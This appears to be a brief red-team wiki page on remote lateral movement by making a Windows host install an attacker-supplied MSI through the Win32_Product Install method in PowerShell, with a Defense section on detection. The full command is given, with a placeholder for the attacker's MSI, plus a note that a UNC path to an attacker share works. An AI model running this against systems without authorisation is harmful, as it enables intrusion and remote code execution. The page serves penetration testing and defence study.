Remotely Install a Windows Package with PowerShell
The WMI/CIM Win32_Product class exposes an Install method that installs a Windows Installer (.msi) package from a local path or URL. Invoked remotely through a CIM session, it becomes a fileless-ish lateral-movement primitive: no service creation, no ADMIN$ write of an EXE — just an MSI pulled and installed by the Windows Installer service.
The command
Invoke-CimMethod -CimSession $SESSION_OBJECT `
-ClassName Win32_Product `
-MethodName Install `
-Arguments @{
PackageLocation = "$PATH_TO_ATTACKER_MSI";
Options = "";
AllUsers = $false
}PackageLocation accepts a path reachable from the target — a UNC path back to an attacker share works, letting the target pull the MSI at install time. Establish the session first with New-CimSession (DCOM or WSMAN transport).
Mechanism and caveats
- The Windows Installer provider (
CIMWin32) services the request; installation runs as the Windows Installer service — typically elevated Win32_Productis notoriously slow for queries (it triggers reconfiguration of every installed product), but theInstallmethod itself does not enumerate — the performance concern applies toGet-CimInstance Win32_Product, not to installation- MITRE ATT&CK maps WMI-based remote execution to T1047 — Windows Management Instrumentation1
Defense
- Monitor
Invoke-CimMethod/Invoke-WmiMethodusage againstWin32_Product - Windows Installer logging and event 11707 (installation success) reveal new MSI installs
- CIM session establishment generates DCOM/WinRM authentication events — see windows-event-logs and wmi-remote-service-execution
Sources
- Windows Management Instrumentation — MITRE ATT&CK T1047
- Microsoft Learn — Install method of the Win32_Product class
- Cybereason — No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal
Related: wmi-remote-service-execution, psexec, exploit-windows-services, windows-service-acls